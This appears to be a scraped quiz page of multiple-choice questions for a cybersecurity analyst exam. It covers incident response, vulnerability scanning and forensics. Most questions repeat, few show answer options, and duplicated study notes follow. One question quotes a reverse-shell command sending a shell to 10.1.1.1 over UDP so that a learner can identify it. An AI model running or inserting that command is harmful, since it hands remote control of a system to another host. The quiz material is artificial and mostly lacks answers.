Podcast
Questions and Answers
Which of the following is the best way to begin preparation for a report titled 'What We Learned' regarding a recent incident involving a cybersecurity breach?
Which of the following is the best way to begin preparation for a report titled 'What We Learned' regarding a recent incident involving a cybersecurity breach?
- Determine the sophistication of the audience that the report is meant for (correct)
- Decide on the color scheme that will effectively communicate the metrics
- Include a table of contents outlining the entire report
- Include references and sources of information on the first page
Which of the following actions would allow the analyst to gather intelligence without disclosing information to the attackers?
Which of the following actions would allow the analyst to gather intelligence without disclosing information to the attackers?
- Execute the binaries on an environment with internet connectivity
- Query the file hashes using VirusTotal
- Upload the binary to an air-gapped sandbox for analysis (correct)
- Send the binaries to the antivirus vendor
Which of the following would help to minimize human engagement and aid in process improvement in security operations?
Which of the following would help to minimize human engagement and aid in process improvement in security operations?
- QVVASP
- OSSTMM
- SIEM
- SOAR (correct)
Which of the following risk management principles did the CISO select when refusing the software request due to high risk?
Which of the following risk management principles did the CISO select when refusing the software request due to high risk?
Which of the following is an important aspect that should be included in the lessons-learned step after an incident?
Which of the following is an important aspect that should be included in the lessons-learned step after an incident?
Which of the following will best achieve the goal of consolidating several threat intelligence feeds?
Which of the following will best achieve the goal of consolidating several threat intelligence feeds?
Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?
Which of the following would a security analyst most likely use to compare TTPs between different known adversaries of an organization?
An analyst is remediating items associated with a recent incident. Which step of the process does isolating the vulnerability and removing it from the system describe?
An analyst is remediating items associated with a recent incident. Which step of the process does isolating the vulnerability and removing it from the system describe?
What is the best action for the incident response team to recommend regarding Joe's actions on social media?
What is the best action for the incident response team to recommend regarding Joe's actions on social media?
Which of the following is the best priority for a program to reduce attack surface risks and threats as part of a zero-trust approach?
Which of the following is the best priority for a program to reduce attack surface risks and threats as part of a zero-trust approach?
After a security incident during a holiday break, which action should the analyst take first to find out what happened?
After a security incident during a holiday break, which action should the analyst take first to find out what happened?
What is the most likely explanation for unusual outgoing HTTPS connections from a data center server?
What is the most likely explanation for unusual outgoing HTTPS connections from a data center server?
What will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy regarding personal devices?
What will the SOC manager most likely recommend to help ensure new employees are accountable for following the company policy regarding personal devices?
Which of the following would be the best threat intelligence source for validating the potential risk of a new ransomware campaign?
Which of the following would be the best threat intelligence source for validating the potential risk of a new ransomware campaign?
Why is it important to include lessons learned in an after-action report?
Why is it important to include lessons learned in an after-action report?
Given a third-party scoring system, which vulnerabilities should be patched first based on urgency?
Given a third-party scoring system, which vulnerabilities should be patched first based on urgency?
What role has the user taken by downloading malware that infected other systems?
What role has the user taken by downloading malware that infected other systems?
What should the CSIRT conduct next after isolating a compromised virtual server?
What should the CSIRT conduct next after isolating a compromised virtual server?
Which must be collected first in a computer system to ensure proper evidence acquisition during an incident?
Which must be collected first in a computer system to ensure proper evidence acquisition during an incident?
Which shell script function could help a security analyst identify possible network addresses from different source networks?
Which shell script function could help a security analyst identify possible network addresses from different source networks?
Which function would help a security analyst identify IP addresses from the same country?
Which function would help a security analyst identify IP addresses from the same country?
Given findings from a vulnerability assessment, which should be completed first to remediate?
Given findings from a vulnerability assessment, which should be completed first to remediate?
What vulnerability is indicated by a command output that lacks input validation?
What vulnerability is indicated by a command output that lacks input validation?
What best practices should a company follow regarding a proxy with unpatched vulnerabilities?
What best practices should a company follow regarding a proxy with unpatched vulnerabilities?
Which log entry provides evidence of an attempted exploit concerning a zero-day command injection vulnerability?
Which log entry provides evidence of an attempted exploit concerning a zero-day command injection vulnerability?
What is the most important factor to ensure accurate incident response reporting?
What is the most important factor to ensure accurate incident response reporting?
What is the best mitigation technique for unusual network scanning activity coming from a foreign country?
What is the best mitigation technique for unusual network scanning activity coming from a foreign country?
What is the best step to preserve evidence regarding an employee suspected of laptop misuse?
What is the best step to preserve evidence regarding an employee suspected of laptop misuse?
Which vulnerabilities should a security analyst prioritize for remediation based on the provided information?
Which vulnerabilities should a security analyst prioritize for remediation based on the provided information?
Which vulnerability type is the security analyst validating in a web application vulnerability scan?
Which vulnerability type is the security analyst validating in a web application vulnerability scan?
What immediate action should be performed during a cybersecurity incident involving ransomware on a web server?
What immediate action should be performed during a cybersecurity incident involving ransomware on a web server?
What would likely be missing from a vulnerability scan performed with a newly configured scanner appliance?
What would likely be missing from a vulnerability scan performed with a newly configured scanner appliance?
Which method should be used to resolve incomplete findings in vulnerability reports?
Which method should be used to resolve incomplete findings in vulnerability reports?
What best describes the activity when observing consistent requests to a blocklisted external server from an internal host?
What best describes the activity when observing consistent requests to a blocklisted external server from an internal host?
What does the output from a network mapping tool for a PCI audit best describe?
What does the output from a network mapping tool for a PCI audit best describe?
Which of the following CVE metrics would be most accurate for a recent zero-day vulnerability that is being actively exploited?
Which of the following CVE metrics would be most accurate for a recent zero-day vulnerability that is being actively exploited?
Which of the following tools would work best to prevent the exposure of PII outside of an organization?
Which of the following tools would work best to prevent the exposure of PII outside of an organization?
Which of the following tuning recommendations should the security analyst share after a web application vulnerability assessment?
Which of the following tuning recommendations should the security analyst share after a web application vulnerability assessment?
Which of the following items should be included in a vulnerability scan report? (Choose two)
Which of the following items should be included in a vulnerability scan report? (Choose two)
What would best protect an organization from exploitation of new attacks occurring 45 days after a patch release?
What would best protect an organization from exploitation of new attacks occurring 45 days after a patch release?
Given the following script, which scripting language was used?
Given the following script, which scripting language was used?
Which of the following most likely describes the observed activity of compromised user accounts with inconsistent portal access?
Which of the following most likely describes the observed activity of compromised user accounts with inconsistent portal access?
Which of the following items should be included in a vulnerability scan report? (Choose two)
Which of the following items should be included in a vulnerability scan report? (Choose two)
Which of the following will most likely ensure that mission-critical services are available in the event of an incident?
Which of the following will most likely ensure that mission-critical services are available in the event of an incident?
Which of the following solutions will assist in reducing the risk of shadow IT in the enterprise?
Which of the following solutions will assist in reducing the risk of shadow IT in the enterprise?
Which logs should the incident response team review first after a DDoS attack on external SaaS resources?
Which logs should the incident response team review first after a DDoS attack on external SaaS resources?
Which of the following best describes the current stage of the Cyber Kill Chain that the malicious actor is operating in?
Which of the following best describes the current stage of the Cyber Kill Chain that the malicious actor is operating in?
Which of the following steps of an attack framework is the analyst witnessing when an external IP is running scans across assets?
Which of the following steps of an attack framework is the analyst witnessing when an external IP is running scans across assets?
Which of the following best describes a targeted email with concealed URLs aimed at administrators?
Which of the following best describes a targeted email with concealed URLs aimed at administrators?
Which of the following recommendations would best mitigate vulnerabilities regularly found in a critical application?
Which of the following recommendations would best mitigate vulnerabilities regularly found in a critical application?
Which inhibitors to remediation do the critical systems that cannot be upgraded represent?
Which inhibitors to remediation do the critical systems that cannot be upgraded represent?
Which of the following most accurately describes the result of a web server scan for XSS vulnerabilities?
Which of the following most accurately describes the result of a web server scan for XSS vulnerabilities?
Which of the following is the best action after a security incident to improve incident response in the future?
Which of the following is the best action after a security incident to improve incident response in the future?
Which technique is best for analyzing a malicious binary file?
Which technique is best for analyzing a malicious binary file?
Which piece of data should be collected first to preserve sensitive information before isolating a compromised server?
Which piece of data should be collected first to preserve sensitive information before isolating a compromised server?
Which of the following security operations tasks are ideal for automation?
Which of the following security operations tasks are ideal for automation?
Under PCI DSS, which group should an organization report a breach of customer transactions to?
Under PCI DSS, which group should an organization report a breach of customer transactions to?
Which metric should an organization focus on after recent investments in SIEM, SOAR, and a ticketing system?
Which metric should an organization focus on after recent investments in SIEM, SOAR, and a ticketing system?
Which of the following implications should be considered when transitioning to a hybrid IaaS cloud environment?
Which of the following implications should be considered when transitioning to a hybrid IaaS cloud environment?
What is the best way to ensure a compliance investigation adheres to HR or privacy policies?
What is the best way to ensure a compliance investigation adheres to HR or privacy policies?
Which of the following is the first step that should be performed when establishing a disaster recovery plan?
Which of the following is the first step that should be performed when establishing a disaster recovery plan?
Which should be the next step after applying a software patch to a server vulnerability?
Which should be the next step after applying a software patch to a server vulnerability?
What has occurred if an analyst reviews an endpoint log entry?
What has occurred if an analyst reviews an endpoint log entry?
What best describes a security program achieving a 30% improvement in MTTR?
What best describes a security program achieving a 30% improvement in MTTR?
Which choice should the analyst look at first during a network discovery based on Nmap scan results?
Which choice should the analyst look at first during a network discovery based on Nmap scan results?
When starting an investigation, what must be done first?
When starting an investigation, what must be done first?
How should a CSIRT lead determine communication during a security incident?
How should a CSIRT lead determine communication during a security incident?
Which of the following will produce data needed for an executive briefing on possible threats?
Which of the following will produce data needed for an executive briefing on possible threats?
Which describes an internal device sending HTTPS traffic to a known malicious IP?
Which describes an internal device sending HTTPS traffic to a known malicious IP?
What can an analyst perform to see the entire contents of downloaded files in Wireshark?
What can an analyst perform to see the entire contents of downloaded files in Wireshark?
Which document should the SOC manager review to ensure the team's obligations are met after a customer vulnerability report?
Which document should the SOC manager review to ensure the team's obligations are met after a customer vulnerability report?
Which phase of the Cyber Kill Chain involves the adversary attempting to establish communication with a target?
Which phase of the Cyber Kill Chain involves the adversary attempting to establish communication with a target?
Which vulnerability scanning method would best reduce network traffic for a company with a diverse workforce?
Which vulnerability scanning method would best reduce network traffic for a company with a diverse workforce?
Which shell script function is used to identify anomalies in network routing most accurately?
Which shell script function is used to identify anomalies in network routing most accurately?
Which of the following is the best way to begin preparation for a report titled 'What We Learned' regarding a recent incident involving a cybersecurity breach?
Which of the following is the best way to begin preparation for a report titled 'What We Learned' regarding a recent incident involving a cybersecurity breach?
Which action would allow a security analyst to gather intelligence without disclosing information to attackers?
Which action would allow a security analyst to gather intelligence without disclosing information to attackers?
Which of the following would help to minimize human engagement and aid in process improvement in security operations?
Which of the following would help to minimize human engagement and aid in process improvement in security operations?
Which risk management principle did the Chief Information Security Officer select when refusing a software request due to high risk?
Which risk management principle did the Chief Information Security Officer select when refusing a software request due to high risk?
Which aspect should be included in the lessons-learned step after an incident?
Which aspect should be included in the lessons-learned step after an incident?
What will best achieve the goal of consolidating several threat intelligence feeds and maximizing results?
What will best achieve the goal of consolidating several threat intelligence feeds and maximizing results?
Which tool would a security analyst most likely use to compare TTPs between different known adversaries?
Which tool would a security analyst most likely use to compare TTPs between different known adversaries?
What step does isolating and removing a vulnerability describe?
What step does isolating and removing a vulnerability describe?
Which action should the incident response team recommend regarding Joe, who is soliciting customers online?
Which action should the incident response team recommend regarding Joe, who is soliciting customers online?
What is the best priority for the program directed by the Chief Information Security Officer to reduce attack surface risks?
What is the best priority for the program directed by the Chief Information Security Officer to reduce attack surface risks?
Which action should an analyst take first to find out precisely what happened in a security incident?
Which action should an analyst take first to find out precisely what happened in a security incident?
What is the most likely explanation for regular outgoing HTTPS connections from a server after hours?
What is the most likely explanation for regular outgoing HTTPS connections from a server after hours?
Which most likely provides evidence that new employees are not aware of the company policy prohibiting personal devices?
Which most likely provides evidence that new employees are not aware of the company policy prohibiting personal devices?
What would be the best threat intelligence source to learn about a new ransomware campaign?
What would be the best threat intelligence source to learn about a new ransomware campaign?
What is the most likely reason to include lessons learned in an after-action report?
What is the most likely reason to include lessons learned in an after-action report?
Which vulnerabilities should the vulnerability management team patch first?
Which vulnerabilities should the vulnerability management team patch first?
What type of threat has the user become after downloading malware?
What type of threat has the user become after downloading malware?
Which action should the CSIRT conduct after isolating a compromised server?
Which action should the CSIRT conduct after isolating a compromised server?
Which evidence must be collected first in a computer system during an incident according to volatility?
Which evidence must be collected first in a computer system during an incident according to volatility?
Which shell script function could help identify possible network addresses from different source networks?
Which shell script function could help identify possible network addresses from different source networks?
Which shell script function would help identify IP addresses from the same country?
Which shell script function would help identify IP addresses from the same country?
What should be completed first to remediate findings from a web server vulnerability assessment?
What should be completed first to remediate findings from a web server vulnerability assessment?
What is the most likely vulnerability identified from debugger output for a client-server application?
What is the most likely vulnerability identified from debugger output for a client-server application?
Which best practice should the company follow with a proxy that has unpatched vulnerabilities and is no longer in use?
Which best practice should the company follow with a proxy that has unpatched vulnerabilities and is no longer in use?
Which log entry provides evidence of a zero-day command injection vulnerability being exploited?
Which log entry provides evidence of a zero-day command injection vulnerability being exploited?
What is the most important factor to ensure accurate incident response reporting?
What is the most important factor to ensure accurate incident response reporting?
What is the best mitigation technique for unusual network scanning activity from a non-business-related country?
What is the best mitigation technique for unusual network scanning activity from a non-business-related country?
What is the best step to preserve evidence when an employee is suspected of misusing a company-issued laptop?
What is the best step to preserve evidence when an employee is suspected of misusing a company-issued laptop?
Which should the security analyst prioritize for remediation based on the vulnerability information shown?
Which should the security analyst prioritize for remediation based on the vulnerability information shown?
What type of vulnerability is the security analyst validating with the provided snippet?
What type of vulnerability is the security analyst validating with the provided snippet?
What action should be performed immediately after a web server at the perimeter network is affected by ransomware?
What action should be performed immediately after a web server at the perimeter network is affected by ransomware?
Which information would be missing from a vulnerability scan configured without credentialing?
Which information would be missing from a vulnerability scan configured without credentialing?
What method should be used to resolve incomplete findings in vulnerability reports?
What method should be used to resolve incomplete findings in vulnerability reports?
What best describes the activity observed from an internal host to a blocklisted external server in SIEM logs?
What best describes the activity observed from an internal host to a blocklisted external server in SIEM logs?
What best describes the output analyzed during a PCI audit?
What best describes the output analyzed during a PCI audit?
Which of the following CVE metrics would be most accurate for a recent zero-day vulnerability that is being actively exploited?
Which of the following CVE metrics would be most accurate for a recent zero-day vulnerability that is being actively exploited?
Which of the following tools would work best to prevent the exposure of PII outside of an organization?
Which of the following tools would work best to prevent the exposure of PII outside of an organization?
Which of the following tuning recommendations should a security analyst share after a web application vulnerability assessment?
Which of the following tuning recommendations should a security analyst share after a web application vulnerability assessment?
Which of the following items should be included in a vulnerability scan report? (Choose two)
Which of the following items should be included in a vulnerability scan report? (Choose two)
Which of the following would best protect an organization from new attacks occurring approximately 45 days after a patch is released?
Which of the following would best protect an organization from new attacks occurring approximately 45 days after a patch is released?
Given a script, which of the following scripting languages was used?
Given a script, which of the following scripting languages was used?
Which of the following best describes the activity of a compromised internal portal accessible through both HTTP and HTTPS?
Which of the following best describes the activity of a compromised internal portal accessible through both HTTP and HTTPS?
Which of the following will most likely ensure that mission-critical services are available in the event of an incident?
Which of the following will most likely ensure that mission-critical services are available in the event of an incident?
Which solution will assist in reducing shadow IT in the enterprise?
Which solution will assist in reducing shadow IT in the enterprise?
Which logs should the incident response team review first after a DDoS attack?
Which logs should the incident response team review first after a DDoS attack?
Which stage of the Cyber Kill Chain is best described for a malicious actor gaining access to an internal network through social engineering?
Which stage of the Cyber Kill Chain is best described for a malicious actor gaining access to an internal network through social engineering?
Which step of an attack framework is an analyst witnessing when they find an external IP running scans?
Which step of an attack framework is an analyst witnessing when they find an external IP running scans?
What best describes the activity when emails are sent targeting company administrators with concealed URLs?
What best describes the activity when emails are sent targeting company administrators with concealed URLs?
Which recommendation would best mitigate ongoing vulnerability findings if applied along the SDLC phase?
Which recommendation would best mitigate ongoing vulnerability findings if applied along the SDLC phase?
Which inhibitors to remediation are represented by systems that cannot be upgraded due to access issues?
Which inhibitors to remediation are represented by systems that cannot be upgraded due to access issues?
What best describes the result of an XSS vulnerability scan?
What best describes the result of an XSS vulnerability scan?
What is the best action to take after a security incident to improve future responses?
What is the best action to take after a security incident to improve future responses?
What is the best technique for analyzing a malicious binary file?
What is the best technique for analyzing a malicious binary file?
What should be collected first to preserve sensitive information before isolating a critical server?
What should be collected first to preserve sensitive information before isolating a critical server?
Which security operations task is ideal for automation?
Which security operations task is ideal for automation?
Under PCI DSS, which group should an organization report a breach of customer transactions to?
Under PCI DSS, which group should an organization report a breach of customer transactions to?
Which is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?
Which is the best metric for an organization to focus on given recent investments in SIEM, SOAR, and a ticketing system?
Which implication should be considered when moving a vulnerability management program to a hybrid cloud environment?
Which implication should be considered when moving a vulnerability management program to a hybrid cloud environment?
What is the best way to ensure compliance with HR or privacy policies during an investigation of a user?
What is the best way to ensure compliance with HR or privacy policies during an investigation of a user?
What is the first step that should be performed when establishing a disaster recovery plan?
What is the first step that should be performed when establishing a disaster recovery plan?
What should be the next step after applying a software patch to a server?
What should be the next step after applying a software patch to a server?
What does an endpoint log entry indicating a certain occurrence likely suggest?
What does an endpoint log entry indicating a certain occurrence likely suggest?
What best describes a security program that saw improvement in MTTR by using integrated controls in SIEM?
What best describes a security program that saw improvement in MTTR by using integrated controls in SIEM?
Which device should a security analyst look at first when performing a network discovery?
Which device should a security analyst look at first when performing a network discovery?
Which action must be performed first when starting an investigation?
Which action must be performed first when starting an investigation?
How should a CSIRT lead determine communication during a security incident?
How should a CSIRT lead determine communication during a security incident?
Which source will produce data needed for an executive briefing on possible threats?
Which source will produce data needed for an executive briefing on possible threats?
What indicates that an internal device is sending HTTPS traffic to a known-malicious IP?
What indicates that an internal device is sending HTTPS traffic to a known-malicious IP?
What should a security analyst do to see the full contents of downloaded files from an FTP session?
What should a security analyst do to see the full contents of downloaded files from an FTP session?
Which document should a SOC manager review to ensure team meets contractual obligations after a client received a vulnerability report?
Which document should a SOC manager review to ensure team meets contractual obligations after a client received a vulnerability report?
What phase of the Cyber Kill Chain involves establishing communication with a successfully exploited target?
What phase of the Cyber Kill Chain involves establishing communication with a successfully exploited target?
What vulnerability scanning method can reduce network traffic for a geographically diverse workforce?
What vulnerability scanning method can reduce network traffic for a geographically diverse workforce?
What is being attempted with the command 'sh -i >& /dev/udp/10.1.1.1/4821 0>&1'?
What is being attempted with the command 'sh -i >& /dev/udp/10.1.1.1/4821 0>&1'?
What would likely be communicated as the reason for elevating a CVE score from 7.1 to 9.8?
What would likely be communicated as the reason for elevating a CVE score from 7.1 to 9.8?
Which system should be prioritized for patching based on a vulnerability report?
Which system should be prioritized for patching based on a vulnerability report?
What scanning method can reduce access while providing accurate vulnerability scan results?
What scanning method can reduce access while providing accurate vulnerability scan results?
What shell script function can an analyst use to identify routing anomalies?
What shell script function can an analyst use to identify routing anomalies?
Which security control would best support a company against sensitive information disclosure via file sharing?
Which security control would best support a company against sensitive information disclosure via file sharing?
Study Notes
Vulnerability Management & Security Metrics
- Recent zero-day vulnerabilities are exploited without user interaction and have high confidentiality and integrity impact, suggesting immediate patching is necessary.
- CVE metrics for zero-day threats involve assessing Exploitability, Access Complexity, and the need for user interaction.
- Vulnerability scan reports should include affected hosts and risk scores to prioritize remediation efforts.
Tools & Strategies to Protect Sensitive Data
- Data Loss Prevention (DLP) tools effectively prevent exposure of Personally Identifiable Information (PII) outside an organization.
- Implementing a CASB (Cloud Access Security Broker) helps reduce shadow IT and manage risks associated with unauthorized cloud applications.
Incident Response & Investigation
- Identify the security incident’s cause through logs like CDN, DNS, or web server entries in case of a DDoS attack.
- The Cyber Kill Chain’s stages, such as exploitation and command and control, help understand the attacker's strategy in infiltration scenarios.
- Critical actions post-incident include reviewing processes and capturing data such as the primary boot partition for evidence preservation.
Security Policies & Compliance
- Organizations must report breaches under PCI DSS to the PCI Security Standards Council and relevant law enforcement bodies.
- Security operations should be underpinned by service-level agreements (SLAs) to ensure timely response and contractual obligations are met.
Vulnerability Scanning Techniques
- Agent-based scanning is preferred in hybrid environments to reduce network traffic and improve scanning efficiency.
- Credentialed scanning offers more accurate results while accessing sensitive systems with minimal exposure.
Risk Management & Decision Making
- Risk management principles include avoiding high-risk software deployments where necessary.
- The decision-making process during security incidents often refers to established policies for effective communication and actions required.
Human Engagement & Process Improvement
- Security tools like SOAR (Security Orchestration, Automation, and Response) minimize manual engagement, enabling quicker and more efficient responses.
- Continuous training and awareness for employees improve the organization’s security posture against data leaks.
Analyzing Malicious Activity
- Reverse shell attempts and other exploit mechanisms require meticulous analysis of endpoint logs to detect potential breaches.
- Use proper scanning and analysis techniques to understand traffic anomalies, enhance security posture, and identify vulnerabilities early.
Lessons Learned from Incidents
- Post-incident reviews are crucial for improving defenses, involving multi-team discussions to analyze what transpired and how processes can be enhanced.
- Relevant documentation of the incident can serve as valuable training material moving forward to prevent similar occurrences.### Incident Response and Security Measures
- Incident response plans must be updated after incidents, analyzing if internal mistakes occurred and who was responsible.
- Legal evidence gathered during incidents should be presented to law enforcement to assist investigations.
- Financial evaluations of incidents help determine the effectiveness of security controls in place.
Threat Intelligence and Analysis
- Consolidating threat intelligence feeds can be achieved using a "single pane of glass," which provides a unified view.
- Security analysts often use frameworks like MITRE ATT&CK to compare tactics, techniques, and procedures (TTPs) of known adversaries.
- Understanding potential risks from new threats requires consulting specialized threat intelligence sources, particularly for critical infrastructure, such as aerospace manufacturing.
Incident Management and Remediation
- The process of isolating and removing vulnerabilities is identified as "eradication."
- Best practices for employee incidents include consulting HR or legal before taking action against employees suspected of wrongdoing.
- A zero-trust approach emphasizes reducing privileged accounts to minimize attack surfaces.
Forensic Analysis and Evidence Collection
- In incident response, evidence collection must prioritize volatile data, starting with running processes before stabilizing disk contents.
- For compromised systems, taking snapshots for forensic purposes should be conducted post-isolation from the network.
Vulnerability Management
- High CVE scores (e.g., 9.8) signal urgent vulnerabilities needing immediate action; often best to decommission unused systems to prevent risk.
- Credentialed scans improve the comprehensiveness of vulnerability assessments, capturing what external scans miss.
Security Best Practices
- Employees should formally acknowledge security policies to prevent policy violations, such as using unauthorized devices.
- Geoblocking or blocking specific IP addresses is an effective mitigation for suspicious scanning activities emanating from regions without business relations.
- During a ransomware attack, quick actions include quarantining the affected server to limit the spread of the malware.
Analyzing Security Incidents
- SIEM logs revealing consistent internal requests to a blocklisted server can indicate data exfiltration or rogue device activity.
- Vulnerability scanning that is improperly configured may miss important aspects, such as operating system versions or open ports.
Miscellaneous
- Logs indicating potential vulnerabilities like command injection should be thoroughly analyzed to gauge susceptibility.
- In cases of employee misconduct, a forensic image of devices is critical for preserving evidence during investigations.
Technical Considerations
- Script functions can aid analysts in identifying IP addresses and network behaviors, enhancing threat response and network monitoring.
- Analysts must prioritize vulnerabilities based on potential exploitation, directing remediation efforts where they are most critical.
This expansive view covers essential themes regarding incident response, threat analysis, vulnerability management, and general security practices.
Vulnerability Management & Security Metrics
- Recent zero-day vulnerabilities are exploited without user interaction and have high confidentiality and integrity impact, suggesting immediate patching is necessary.
- CVE metrics for zero-day threats involve assessing Exploitability, Access Complexity, and the need for user interaction.
- Vulnerability scan reports should include affected hosts and risk scores to prioritize remediation efforts.
Tools & Strategies to Protect Sensitive Data
- Data Loss Prevention (DLP) tools effectively prevent exposure of Personally Identifiable Information (PII) outside an organization.
- Implementing a CASB (Cloud Access Security Broker) helps reduce shadow IT and manage risks associated with unauthorized cloud applications.
Incident Response & Investigation
- Identify the security incident’s cause through logs like CDN, DNS, or web server entries in case of a DDoS attack.
- The Cyber Kill Chain’s stages, such as exploitation and command and control, help understand the attacker's strategy in infiltration scenarios.
- Critical actions post-incident include reviewing processes and capturing data such as the primary boot partition for evidence preservation.
Security Policies & Compliance
- Organizations must report breaches under PCI DSS to the PCI Security Standards Council and relevant law enforcement bodies.
- Security operations should be underpinned by service-level agreements (SLAs) to ensure timely response and contractual obligations are met.
Vulnerability Scanning Techniques
- Agent-based scanning is preferred in hybrid environments to reduce network traffic and improve scanning efficiency.
- Credentialed scanning offers more accurate results while accessing sensitive systems with minimal exposure.
Risk Management & Decision Making
- Risk management principles include avoiding high-risk software deployments where necessary.
- The decision-making process during security incidents often refers to established policies for effective communication and actions required.
Human Engagement & Process Improvement
- Security tools like SOAR (Security Orchestration, Automation, and Response) minimize manual engagement, enabling quicker and more efficient responses.
- Continuous training and awareness for employees improve the organization’s security posture against data leaks.
Analyzing Malicious Activity
- Reverse shell attempts and other exploit mechanisms require meticulous analysis of endpoint logs to detect potential breaches.
- Use proper scanning and analysis techniques to understand traffic anomalies, enhance security posture, and identify vulnerabilities early.
Lessons Learned from Incidents
- Post-incident reviews are crucial for improving defenses, involving multi-team discussions to analyze what transpired and how processes can be enhanced.
- Relevant documentation of the incident can serve as valuable training material moving forward to prevent similar occurrences.### Incident Response and Security Measures
- Incident response plans must be updated after incidents, analyzing if internal mistakes occurred and who was responsible.
- Legal evidence gathered during incidents should be presented to law enforcement to assist investigations.
- Financial evaluations of incidents help determine the effectiveness of security controls in place.
Threat Intelligence and Analysis
- Consolidating threat intelligence feeds can be achieved using a "single pane of glass," which provides a unified view.
- Security analysts often use frameworks like MITRE ATT&CK to compare tactics, techniques, and procedures (TTPs) of known adversaries.
- Understanding potential risks from new threats requires consulting specialized threat intelligence sources, particularly for critical infrastructure, such as aerospace manufacturing.
Incident Management and Remediation
- The process of isolating and removing vulnerabilities is identified as "eradication."
- Best practices for employee incidents include consulting HR or legal before taking action against employees suspected of wrongdoing.
- A zero-trust approach emphasizes reducing privileged accounts to minimize attack surfaces.
Forensic Analysis and Evidence Collection
- In incident response, evidence collection must prioritize volatile data, starting with running processes before stabilizing disk contents.
- For compromised systems, taking snapshots for forensic purposes should be conducted post-isolation from the network.
Vulnerability Management
- High CVE scores (e.g., 9.8) signal urgent vulnerabilities needing immediate action; often best to decommission unused systems to prevent risk.
- Credentialed scans improve the comprehensiveness of vulnerability assessments, capturing what external scans miss.
Security Best Practices
- Employees should formally acknowledge security policies to prevent policy violations, such as using unauthorized devices.
- Geoblocking or blocking specific IP addresses is an effective mitigation for suspicious scanning activities emanating from regions without business relations.
- During a ransomware attack, quick actions include quarantining the affected server to limit the spread of the malware.
Analyzing Security Incidents
- SIEM logs revealing consistent internal requests to a blocklisted server can indicate data exfiltration or rogue device activity.
- Vulnerability scanning that is improperly configured may miss important aspects, such as operating system versions or open ports.
Miscellaneous
- Logs indicating potential vulnerabilities like command injection should be thoroughly analyzed to gauge susceptibility.
- In cases of employee misconduct, a forensic image of devices is critical for preserving evidence during investigations.
Technical Considerations
- Script functions can aid analysts in identifying IP addresses and network behaviors, enhancing threat response and network monitoring.
- Analysts must prioritize vulnerabilities based on potential exploitation, directing remediation efforts where they are most critical.
This expansive view covers essential themes regarding incident response, threat analysis, vulnerability management, and general security practices.
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Description
Test your knowledge on identifying CVE metrics for zero-day vulnerabilities. This quiz focuses on the characteristics of a specific zero-day threat and requires an understanding of Common Vulnerability Scoring System (CVSS) metrics. Assess your skills in evaluating the impact of vulnerabilities on network security.
